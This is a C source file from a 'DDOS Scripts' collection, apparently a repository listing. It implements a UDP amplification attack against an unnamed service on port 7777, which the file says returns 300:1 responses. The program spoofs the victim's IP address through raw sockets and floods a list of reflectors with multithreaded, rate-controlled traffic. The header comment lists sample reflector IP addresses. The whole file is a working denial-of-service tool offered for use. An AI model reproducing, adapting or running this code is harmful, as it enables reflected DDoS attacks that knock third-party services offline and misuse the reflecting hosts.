Path: blob/master/DDOS Scripts/AMP Methods/Miscellaneous (not worth individual mention)/7777_unkown.c
4622 views
/*-------------------------------1Unknown application on 7777/UDP responds with 300:1 packets.2Examples:3125.168.223.176471.185.25.25595.31.20.1406180.150.85.22578Amplification PoC on the dumb template C script.9- Phenomite10-------------------------------*/11#include <arpa/inet.h>12#include <netinet/ip.h>13#include <netinet/udp.h>14#include <pthread.h>15#include <stdio.h>16#include <stdlib.h>17#include <string.h>18#include <sys/socket.h>19#include <time.h>20#include <unistd.h>2122// The only shit needed to change23static unsigned int DPORT = 7777;24static const char PAYLOAD[] = "\xff";2526// Phenomite template begin27#define MAX_PACKET_SIZE 409628#define PHI 0xaaf219b9 // Not the typical magic number29static uint32_t Q[4096], c = 362436;30static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;3132struct list {33struct sockaddr_in data;34struct list *next;35struct list *prev;36};37struct list *head;38volatile int tehport;39volatile int limiter;40volatile unsigned int pps;41volatile unsigned int sleeptime = 100;42struct thread_data {43int thread_id;44struct list *list_node;45struct sockaddr_in sin;46};4748void init_rand(uint32_t x) {49int i;50Q[0] = x;51Q[1] = x + PHI;52Q[2] = x + PHI + PHI;53for (i = 3; i < 4096; i++) {54Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;55}56}5758uint32_t rand_cmwc(void) {59uint64_t t, a = 18782LL;60static uint32_t i = 4095;61uint32_t x, r = 0xfffffffe;62i = (i + 1) & 4095;63t = a * Q[i] + c;64c = (t >> 32);65x = t + c;66if (x < c) {67x++;68c++;69}70return (Q[i] = r - x);71}7273/* function for header checksums */74unsigned short csum(unsigned short *buf, int nwords) {75unsigned long sum;76for (sum = 0; nwords > 0; nwords--)77sum += *buf++;78sum = (sum >> 16) + (sum & 0xffff);79sum += (sum >> 16);80return (unsigned short)(~sum);81}8283void setup_ip_header(struct iphdr *iph) {84iph->ihl = 5;85iph->version = 4;86iph->tos = 0;87iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;88iph->id = htonl(61337);89iph->frag_off = 0;90iph->ttl = MAXTTL;91iph->protocol = IPPROTO_UDP;92iph->check = 0;93iph->saddr = inet_addr("127.0.0.1");94}95void setup_udp_header(struct udphdr *udph) {96udph->source = htons(61337);97udph->dest = htons(DPORT);98udph->check = 0;99memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);100udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);101}102void *flood(void *par1) {103struct thread_data *td = (struct thread_data *)par1;104char datagram[MAX_PACKET_SIZE];105struct iphdr *iph = (struct iphdr *)datagram;106struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);107struct sockaddr_in sin = td->sin;108struct list *list_node = td->list_node;109int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);110if (s < 0) {111fprintf(stderr, "Could not open raw socket.\n");112exit(-1);113}114init_rand(time(NULL));115memset(datagram, 0, MAX_PACKET_SIZE);116setup_ip_header(iph);117setup_udp_header(udph);118udph->source = htons(tehport);119iph->saddr = sin.sin_addr.s_addr;120iph->daddr = list_node->data.sin_addr.s_addr;121iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);122int tmp = 1;123const int *val = &tmp;124if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {125fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");126exit(-1);127}128init_rand(time(NULL));129register unsigned int i;130i = 0;131while (1) {132list_node = list_node->next;133iph->daddr = list_node->data.sin_addr.s_addr;134iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);135iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);136sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,137sizeof(list_node->data));138pps++;139if (i >= limiter) {140i = 0;141usleep(sleeptime);142}143i++;144}145}146int main(int argc, char *argv[]) {147if (argc < 6) {148fprintf(stdout, "%s host port listfile threads limit[-1 for none] time\n",149argv[0]);150exit(-1);151}152srand(time(NULL));153int i = 0;154head = NULL;155fprintf(stdout, "Loading list to buffer\n");156int max_len = 512;157char *buffer = (char *)malloc(max_len);158buffer = memset(buffer, 0x00, max_len);159tehport = atoi(argv[2]);160int num_threads = atoi(argv[4]);161int maxpps = atoi(argv[5]);162limiter = 0;163pps = 0;164int multiplier = 20;165FILE *list_fd = fopen(argv[3], "r");166while (fgets(buffer, max_len, list_fd) != NULL) {167if ((buffer[strlen(buffer) - 1] == '\n') ||168(buffer[strlen(buffer) - 1] == '\r')) {169buffer[strlen(buffer) - 1] = 0x00;170if (head == NULL) {171head = (struct list *)malloc(sizeof(struct list));172bzero(&head->data, sizeof(head->data));173head->data.sin_addr.s_addr = inet_addr(buffer);174head->next = head;175head->prev = head;176} else {177struct list *new_node = (struct list *)malloc(sizeof(struct list));178memset(new_node, 0x00, sizeof(struct list));179new_node->data.sin_addr.s_addr = inet_addr(buffer);180new_node->prev = head;181new_node->next = head->next;182head->next = new_node;183}184i++;185} else {186continue;187}188}189struct list *current = head->next;190pthread_t thread[num_threads];191struct sockaddr_in sin;192sin.sin_family = AF_INET;193sin.sin_addr.s_addr = inet_addr(argv[1]);194struct thread_data td[num_threads];195for (i = 0; i < num_threads; i++) {196td[i].thread_id = i;197td[i].sin = sin;198td[i].list_node = current;199pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);200}201fprintf(stdout, "Yeeting\n");202for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {203usleep((1000 / multiplier) * 1000);204if ((pps * multiplier) > maxpps) {205if (1 > limiter) {206sleeptime += 100;207} else {208limiter--;209}210} else {211limiter++;212if (sleeptime > 25) {213sleeptime -= 25;214} else {215sleeptime = 0;216}217}218pps = 0;219}220return 0;221}222223224